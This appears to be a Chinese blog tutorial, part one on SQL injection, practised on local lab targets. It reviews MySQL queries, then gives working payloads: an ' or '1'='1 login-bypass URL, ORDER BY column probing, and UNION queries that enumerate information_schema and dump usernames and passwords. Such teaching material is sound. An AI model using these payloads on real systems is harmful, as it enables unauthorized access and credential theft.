SQL注入漏洞-上篇
#作者:允砸儿
#日期:乙巳青蛇年 五月初八
笔者继续写关于网络安全漏洞,今天主要写的是SQL注入,这一部分内容比较多且与笔者以前写的数据库内容有很多联系。接下老笔者浅写一下数据库的知识和朋友们一起回顾一下。
数据库是什么?数据库里面有什么?
数据库是存放数据的地方像excel、记事本、各种专业软件。数据库里面有列(列头)、行(数据行)、表(表格)。
MySQL概念
笔者直接写MySQL数据库里面内容,不写非常基础的理论了。
如可导入数据库
在靶场中我们要导入数据表有以下两种方法:
1、在phpstudy中进行导入但可能会导致失败
2、手动导入进去直接复制php代码到MySQL数据库中将该段代码运行一下即可
如何查询数据库
做网安最重要的就是增删查改,查是4项之一我们对这些命令要反复看。笔者老师说过做网安是需要耐心在测试的过程中会有很多失败但一个成熟的网安会通过失败经验总结出一套适合自己渗透流程。
查询所有用户:select * from user;
查询用户为xiaoyan的用户密码:select username,password from user where username = 'xiaoyan';
查询其他数据库信息(查询银行库的账号表):select * from bank.amount
如何新增用户
insert into `user` (id, username, password, cardid, tel) values(99, yaolao, '66666', '43010389', '149712255')#注意细节添加用户名的表需要反引号``,添加值的时候需要values需要加引号(字符串类型)
如何修改用户内容
update `user` set `password` = MD5(‘123456789’) where username = ‘yaolao’
如何删除用户内容
delete from user where username = 'yaolao'
什么是sql注入
SQL 注入是一种常见的网络安全漏洞和攻击方式,它利用应用程序对用户输入数据的处理不当,使得攻击者能够在执行 SQL 查询时插入恶意的 SQL 代码。通过成功注入恶意代码,攻击者可以执行未经授权的数据库操作,获取敏感信息、篡改数据甚至完全破坏数据库。
SQL快速注入
笔者使用一个简单的靶场给朋友们写一下,首先我们要知道关于sql注入的的关键地方是找到注入点,在注入点对其猛攻并添加完美的sql注入语句让其执行。
1、明确一点login.php(get模式)参数在地址栏里面是get
2、正常情况下数据库会执行:
select * from user where username = 'admin' and password = '123456'
但是因为数据库我不管你需要啥,我只要执行我的代码即可。所以他会带入各种各样的数据
3、做一个or 1=1的判断
代入or 1=1。select * from user where usename = 'admin' and password = '123456' or '1' = '1'
4、原理
在这段代码里面我加入了' or '1'='1 这让就相当于一个注入点,引号闭合了,前面的密码可以删掉。#注意url地址栏中后面是会自带引号的。or连接满足一个要求代码就可以执行。
如果密码是弱口令已被破解而且我们要强行登陆进去,只需要
http://localhost/login.php?user=admin' or '1' ='1 &pass=123456 强行登陆进去。
SQL复杂注入
sql复杂注入这一块笔者先确定目标是获取所有的用户,在提出两个问题:1、怎么知道数据库的名字?2、怎么知道用户、密码在哪个表里面?让我们带着问题去了解。笔者还是用一个简易靶场去做实验。
1、确定注入点
首先我们要测试注入点,注入点为datestr='20231012'。在得知注入点的前提下进行操作。
2、获取数据库
使用union语句来查询,select * from news where datestr='20231012' union select database(), '', '', '
3、怎么在数据库里面找表
union联合查询字段数量必须一致才能查询,他在url中需要手动空格,也需要单引号进行闭合。
select group_concat(table_name) from information_schema.`tables` where table_schema='game'
' union select (select group_concat(table_name) from information_schema.`tables` t where t.table_schema='game'),'' ,'' ,'
4、获得用户名和密码
我们需要先通过一些手段去查询game数据库的user表有哪一些字段
select * from news where datestr=''
union
select
(select group_concat(column_name) from information_schema.`COLUMNS` where table_schema='game' and table_name='user'),'','',''
在获取到对方的有哪些字段后我们要针对表获取用户名密码。
使用union联合查询:
select username,password,cardid concat('id:' ,user_id ,' | DB' , database()) as extra_data from user where '1' = '1'
SQL注入分类
1、union注入
概念:union 查询注入是最基础的注入。在 SQL 中, UNION 操作符用于合并两个或多个SELECT 语句的结果。
union 查询注入利用 UNION 关键字可以追加一条或者多条额外的 SELECT 查询, 并将结果追加到原始查询中。联合查询会“纵向”拼接两个或多个 SELECT 语句的结果。.
2、适用条件
a、网页存在注入点有回显
b、需要满足union语句。#union前后两个select的结果应具有相同的列数;union前后两个select结果是相同的数据类型。
3、注入步骤
(1)首先判断是否存在注入点及注入的类型
(2)使用order by查询列数,观察回显位置
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
...(逐步增加直到报错)...
*当出现Unknown column 'N' in 'order clause'时,说明列数为N-1*
(3)获取数据库名
select * from news where datestr='20231012
' union select '','','',DATABASE()
(4)获取数据库中的所有表名
select * from news where datestr='20231012
' UNION SELECT
1,
GROUP_CONCAT(table_name SEPARATOR ' | '),
3,
... -- 根据实际列数补齐
FROM information_schema.tables
WHERE table_schema = DATABASE() --
(5)获取数据库的表中所有字段名
select * from news where datestr='20231012
' UNION SELECT
1,
GROUP_CONCAT(column_name SEPARATOR ', '),
3,
... -- 根据实际列数补齐
FROM information_schema.columns
WHERE
table_schema = DATABASE()
AND table_name = '目标表名' -- 替换为实际表名
(6)获取字段中的数据
select * from news where datestr='20231012
' UNION SELECT
NULL, -- 占位符
username,
password,
CONCAT(id, ':', email, ':', phone), -- 多字段组合
... -- 根据实际列数补齐
FROM 目标表名 -- 替换为实际表名
WHERE 1=1 --
最后,笔者想说:SQL注入这一部分的内容比较多且实操的部分也比较多,这一部分需要安装不同的靶机去进行测试,如果要直接渗透别人大概率是不会成功的。
今天的懒惰,也许是昨天努力的疲惫在提醒你休息。但休息够了,就该让蓄满的能量流动起来。当今社会,各行各业都竖起了无形的墙,外人很难看清里面。想进去?只有两条路:要么把墙砸开,要么想办法融入其中。